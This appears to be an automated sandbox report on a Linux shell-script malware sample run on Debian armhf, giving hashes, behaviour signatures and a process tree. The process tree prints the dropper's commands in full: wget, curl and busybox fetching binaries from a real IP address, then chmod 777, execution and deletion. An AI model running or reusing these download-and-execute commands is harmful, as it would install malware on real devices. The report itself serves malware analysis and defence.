Analysis

  • max time kernel
    10s
  • max time network
    11s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/10/2024, 02:11

General

  • Target

    1897ecadd0de224bc96967fc98ac118076ea7a4d083e06a94dec9ead30a9551a.sh

  • Size

    10KB

  • MD5

    494b961d2cc6cd624a738d892314cce5

  • SHA1

    2052b079fe79da190c6459c627a8c44003ae1f58

  • SHA256

    1897ecadd0de224bc96967fc98ac118076ea7a4d083e06a94dec9ead30a9551a

  • SHA512

    801d76a32d0790a02cd3d7cd93041c371e44ee9240e240edbb3ecc9fe52c8c26b5395847509398bfa4a17c7a0064475421114120a7b5a49d167b5015a0149e50

  • SSDEEP

    96:0rD7ICJJSVBxqV9VlVAVhVlVAzyqz6JbvQXgQLYE1sw/yqz8zJJSVBhk7V9VlVAQ:6eqXrifnmzheJqSXrifn0f

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1897ecadd0de224bc96967fc98ac118076ea7a4d083e06a94dec9ead30a9551a.sh
    /tmp/1897ecadd0de224bc96967fc98ac118076ea7a4d083e06a94dec9ead30a9551a.sh
    1⤵
      PID:649
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:651
        • /usr/bin/wget
          wget http://87.120.126.196/bins/hpDY9rynxE2o74TRy5nNyemaiKClmCGKSP
          2⤵
            PID:653
          • /usr/bin/curl
            curl -O http://87.120.126.196/bins/hpDY9rynxE2o74TRy5nNyemaiKClmCGKSP
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:720
          • /bin/busybox
            /bin/busybox wget http://87.120.126.196/bins/hpDY9rynxE2o74TRy5nNyemaiKClmCGKSP
            2⤵
              PID:726
            • /bin/chmod
              chmod 777 hpDY9rynxE2o74TRy5nNyemaiKClmCGKSP
              2⤵
              • File and Directory Permissions Modification
              PID:727
            • /tmp/hpDY9rynxE2o74TRy5nNyemaiKClmCGKSP
              ./hpDY9rynxE2o74TRy5nNyemaiKClmCGKSP
              2⤵
              • Executes dropped EXE
              PID:728
            • /bin/rm
              rm hpDY9rynxE2o74TRy5nNyemaiKClmCGKSP
              2⤵
                PID:729
              • /usr/bin/wget
                wget http://87.120.126.196/bins/YdgAc1XPNJOBSABdiX4f05Yb6a1gytRxbO
                2⤵
                  PID:730
                • /usr/bin/curl
                  curl -O http://87.120.126.196/bins/YdgAc1XPNJOBSABdiX4f05Yb6a1gytRxbO
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:747
                • /bin/busybox
                  /bin/busybox wget http://87.120.126.196/bins/YdgAc1XPNJOBSABdiX4f05Yb6a1gytRxbO
                  2⤵
                    PID:751
                  • /bin/chmod
                    chmod 777 YdgAc1XPNJOBSABdiX4f05Yb6a1gytRxbO
                    2⤵
                    • File and Directory Permissions Modification
                    PID:754
                  • /tmp/YdgAc1XPNJOBSABdiX4f05Yb6a1gytRxbO
                    ./YdgAc1XPNJOBSABdiX4f05Yb6a1gytRxbO
                    2⤵
                    • Executes dropped EXE
                    PID:756
                  • /bin/rm
                    rm YdgAc1XPNJOBSABdiX4f05Yb6a1gytRxbO
                    2⤵
                      PID:757
                    • /usr/bin/wget
                      wget http://87.120.126.196/bins/GjKVnDe6NKncUSkk2r7Ak0F5Yi9IgcXppo
                      2⤵
                        PID:758
                      • /usr/bin/curl
                        curl -O http://87.120.126.196/bins/GjKVnDe6NKncUSkk2r7Ak0F5Yi9IgcXppo
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:762
                      • /bin/busybox
                        /bin/busybox wget http://87.120.126.196/bins/GjKVnDe6NKncUSkk2r7Ak0F5Yi9IgcXppo
                        2⤵
                          PID:768
                        • /bin/chmod
                          chmod 777 GjKVnDe6NKncUSkk2r7Ak0F5Yi9IgcXppo
                          2⤵
                          • File and Directory Permissions Modification
                          PID:769
                        • /tmp/GjKVnDe6NKncUSkk2r7Ak0F5Yi9IgcXppo
                          ./GjKVnDe6NKncUSkk2r7Ak0F5Yi9IgcXppo
                          2⤵
                          • Executes dropped EXE
                          PID:770
                        • /bin/rm
                          rm GjKVnDe6NKncUSkk2r7Ak0F5Yi9IgcXppo
                          2⤵
                            PID:771
                          • /usr/bin/wget
                            wget http://87.120.126.196/bins/TgIYN8RYWWvNCPOAJifm2E3KlMEsHoVg0r
                            2⤵
                              PID:772
                            • /usr/bin/curl
                              curl -O http://87.120.126.196/bins/TgIYN8RYWWvNCPOAJifm2E3KlMEsHoVg0r
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:773
                            • /bin/busybox
                              /bin/busybox wget http://87.120.126.196/bins/TgIYN8RYWWvNCPOAJifm2E3KlMEsHoVg0r
                              2⤵
                                PID:774
                              • /bin/chmod
                                chmod 777 TgIYN8RYWWvNCPOAJifm2E3KlMEsHoVg0r
                                2⤵
                                • File and Directory Permissions Modification
                                PID:775
                              • /tmp/TgIYN8RYWWvNCPOAJifm2E3KlMEsHoVg0r
                                ./TgIYN8RYWWvNCPOAJifm2E3KlMEsHoVg0r
                                2⤵
                                • Executes dropped EXE
                                PID:776
                              • /bin/rm
                                rm TgIYN8RYWWvNCPOAJifm2E3KlMEsHoVg0r
                                2⤵
                                  PID:777
                                • /usr/bin/wget
                                  wget http://87.120.126.196/bins/BRX3VpBiDtKRzxCv0AuL3MZC3wY593zIlh
                                  2⤵
                                    PID:778
                                  • /usr/bin/curl
                                    curl -O http://87.120.126.196/bins/BRX3VpBiDtKRzxCv0AuL3MZC3wY593zIlh
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:779
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.126.196/bins/BRX3VpBiDtKRzxCv0AuL3MZC3wY593zIlh
                                    2⤵
                                      PID:780
                                    • /bin/chmod
                                      chmod 777 BRX3VpBiDtKRzxCv0AuL3MZC3wY593zIlh
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:781
                                    • /tmp/BRX3VpBiDtKRzxCv0AuL3MZC3wY593zIlh
                                      ./BRX3VpBiDtKRzxCv0AuL3MZC3wY593zIlh
                                      2⤵
                                      • Executes dropped EXE
                                      PID:782
                                    • /bin/rm
                                      rm BRX3VpBiDtKRzxCv0AuL3MZC3wY593zIlh
                                      2⤵
                                        PID:783
                                      • /usr/bin/wget
                                        wget http://87.120.126.196/bins/8Ob5kZdm9iyPDYdZSUjji53Q6pW6WIEoa2
                                        2⤵
                                          PID:784
                                        • /usr/bin/curl
                                          curl -O http://87.120.126.196/bins/8Ob5kZdm9iyPDYdZSUjji53Q6pW6WIEoa2
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:785
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.126.196/bins/8Ob5kZdm9iyPDYdZSUjji53Q6pW6WIEoa2
                                          2⤵
                                            PID:786
                                          • /bin/chmod
                                            chmod 777 8Ob5kZdm9iyPDYdZSUjji53Q6pW6WIEoa2
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:787
                                          • /tmp/8Ob5kZdm9iyPDYdZSUjji53Q6pW6WIEoa2
                                            ./8Ob5kZdm9iyPDYdZSUjji53Q6pW6WIEoa2
                                            2⤵
                                            • Executes dropped EXE
                                            PID:788
                                          • /bin/rm
                                            rm 8Ob5kZdm9iyPDYdZSUjji53Q6pW6WIEoa2
                                            2⤵
                                              PID:789
                                            • /usr/bin/wget
                                              wget http://87.120.126.196/bins/ElxZVuYFdCppkbe0BZzcbdshEHyIDxeFUu
                                              2⤵
                                                PID:790

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • /tmp/hpDY9rynxE2o74TRy5nNyemaiKClmCGKSP

                                              Filesize

                                              153B

                                              MD5

                                              998368d7c95ea4293237f2320546e440

                                              SHA1

                                              30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                              SHA256

                                              533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                              SHA512

                                              648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97